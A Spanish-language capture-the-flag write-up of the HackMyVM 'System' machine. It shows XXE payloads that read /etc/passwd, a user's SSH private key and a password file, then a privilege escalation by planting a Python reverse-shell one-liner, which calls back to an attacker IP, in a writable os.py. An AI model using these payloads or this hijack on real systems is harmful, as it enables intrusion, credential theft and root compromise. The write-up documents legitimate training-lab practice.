El mes pasado por fin logré dedicarle tiempo a una más que interesante plataforma gratuita que congrega una serie de máquinas virtuales (de ahí su nombre) generadas por distintos actores de la comunidad y que son compartidas para su practica, entrenamiento y entretenimiento en hacking. Esta plataforma se llama HackMyVM y si no estoy mal tiene sus orígenes en la ciudad condal. Espero en un futuro dedicar una entrada concreta para hablarles de esta plataforma, por ahora simplemente les invito a conocerla.

La primera máquina que realicé en esta plataforma fue una llamada System, fue una interesante máquina que te conduce por la explotación de una inyección XXE (XML External Entity), rastreo de información sensible, acceso mediante clave privada y finalmente un aprovechamiento de un Hijacking a una librería de Python, esto entre otras técnicas que pasaremos a detallar.

OSRELEASEDIFFICULTYAUTHOR
LINUX06/ABR/22EASYavijneyam

Resumen:

  • Enumeración de puertos y servicios
  • Análisis de la aplicación web
  • Explotación de inyeción XXE
  • Obtención de usuario / Captura del fichero user.txt
  • Escalada de privilegios / Captura de fichero root.txt

Enumeración:

Arrancamos con un escaneo de puertos y servicios, esta vez lo hacemos de los 65535 puertos TCP posibles, es decir un escaneo completo:

nmap -sS -sV -p- 15.15.15.64

Al contar con tan solo estos 2 resultados, rápidamente nos inclinamos por ir con el análisis web.

Aplicaciones web:

Al visitar la aplicación web mediante un navegador, observamos la siguiente presentación:

Lo primero será entender el funcionamiento de este formulario, por tanto lo llenaré con datos de prueba y le daré al botón de Register.
Aquí para mi sorpresa veo que el dato introducido en el campo Email se refleja en la respuesta del formulario en forma del siguiente mensaje:

Rápidamente se podría pensar en un XSS, sin embargo vamos a analizar un poco más el entorno.
Revisando el código fuente expuesto, se observa la siguiente función:

Al interceptar la petición de envío se observa la siguiente estructura XML:

Por tanto y visto este escenario, el vector de ataque se vuelve claro: Inyección de entidad externa XML (XXE).

Explotación de inyeción XXE:

En este caso aprovecharemos la vulnerabilidad para leer ficheros internos del sistema. La primera opción será leer el típico «/etc/passwd«, para ello y empleando la guía de HackTricks generamos la siguiente petición adaptada:

Payload:

<!DOCTYPE foo [<!ENTITY file SYSTEM "/etc/passwd"> ]>

La respuesta de esta petición será el contenido del fichero consultado:

Bien, con esta vista conseguimos identificar el usuario del sistema al que deseamos escalar y su directorio, en este caso david.

Cuando aprovechamos una vulnerabilidad que nos permite la lectura de ficheros del sistema, un buen tip es leer potenciales claves privadas de los usuarios, por tanto en este caso revisaremos la private key para la conexión por SSH de este usuario (id_rsa):

Payload:

<!DOCTYPE foo [<!ENTITY file SYSTEM "/home/david/.ssh/id_rsa"> ]>

Llegados a este punto ya tenemos la vía de conexión al objetivo, sin embargo aún será necesario conseguir la contraseña de la clave id_rsa. Por tanto nuestro análisis desde el XXE debe continuar.
Tomando en cuenta la descripción de la máquina en HackMyVM, realizaremos fuzzing a través de distintas listas de palabras de las conocidas SecLists que nos permiten identificar ficheros interesantes.
Después de varios intentos y revisión de resultados logré identificar que la lista: /usr/share/seclists/Fuzzing/fuzz-Bo0oM.txt me arroja un resultado relevante.

Payload:

<!DOCTYPE foo [<!ENTITY file SYSTEM "/home/david/.viminfo"> ]>

Cuyo resultado me enseña una ruta la mar de relevante:

Lo siguiente será consultar este fichero y descubrir su contenido.

Payload:

<!DOCTYPE foo [<!ENTITY file SYSTEM "/usr/local/etc/mypass.txt"> ]>

Obtención de usuario:

Con toda esta información ya recopilada, es el momento de conectar al objetivo por SSH y verificar el acceso:

ssh david@15.15.15.64 -i id_rsa-david

Llega el momento de obtener la primera flag:

Escalada de privilegios:

Para la escalada de privilegios en primer momento emplearemos el archiconocido monitor de procesos de Linux sin necesidad de ser root, me refiero a la herramienta pspy, que en este caso con la versión «pequeña» me valdrá.

python -m SimpleHTTPServer
chmod +x pspy64s
./pspy64s

Pspy me revela que existe un fichero llamado suid.py que se ejecuta cada minuto, por tanto vamos revisar sus propiedades y su contenido (al ser posible hacerlo):

Bien, con esta información obtenida es hora de poner en marcha la técnica conocida como: Python Library Hijacking y que muy claramente lo explica el portal de Hacking Articles. Para ello en primer lugar ubicaremos la ruta del módulo os de python y que es importado y empleado en el script suid.py anterior.

find / -name os.py 2>/dev/null

Al localizarlo observamos que es posible editarlo con nuestro usuario, por tanto aprovecharemos esta mala configuración.
Abrimos el fichero os.py con nuestro editor de texto favorito y añadimos la siguiente instrucción:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("15.15.15.5",4455));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

Con esto conseguiremos que al ejecutar os.py se haga la llamada a nuestra reverse shell. Adicionalmente generaremos el fichero de texto cmd.txt en el home del usuario david, tal y como es requerido en el script suid.py para entrar en el bucle que es donde se ejecuta el módulo importado os. si todo es correcto obtendremos los resultados esperados, tal y como se observa a continuación:

Ya desde el acceso conseguido con el usuario root, es hora de leer la segunda flag, dar por finalizada la intrusión y el compromiso completo al objetivo.

Sin lugar a dudas, la máquina System de HackMyVM ha sido una buena forma de estrenarse y dar inicio a una serie de revisiones que estaremos trayendo por aquí prontamente. Hasta el próximo WriteUp.

Referencias: